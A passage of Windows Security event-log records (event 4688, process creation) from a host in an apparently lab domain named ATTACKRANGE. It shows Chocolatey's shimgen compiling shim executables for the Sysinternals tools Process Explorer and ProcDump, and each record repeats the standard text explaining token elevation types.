Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x994 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246681 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procexp64.exe" --output="C:\ProgramData\chocolatey\bin\procexp64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procexp64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246680 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x82c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd14 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEB07.tmp" "c:\ProgramData\chocolatey\bin\CSC56BD150FBE4749B6937CB4F09047B9C4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246679 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdf0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd14 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246678 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procexp.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246677 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246676 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procexp.exe" --output="C:\ProgramData\chocolatey\bin\procexp.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procexp.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246675 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEA2C.tmp" "c:\ProgramData\chocolatey\bin\CSC218B7955A599494D99A51169C3980F9.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246674 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246673 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procdump64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246672 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246671 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procdump64.exe" --output="C:\ProgramData\chocolatey\bin\procdump64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procdump64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246670 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe68 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE951.tmp" "c:\ProgramData\chocolatey\bin\CSC811E816AD345441795744CE5DAC6EF8E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246669 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246668 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246667 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdfc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246666 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procdump.exe" --output="C:\ProgramData\chocolatey\bin\procdump.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procdump.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246665 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x288 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE876.tmp" "c:\ProgramData\chocolatey\bin\CSCE66A8DC98C91406383AB77FDFB1C48CE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is 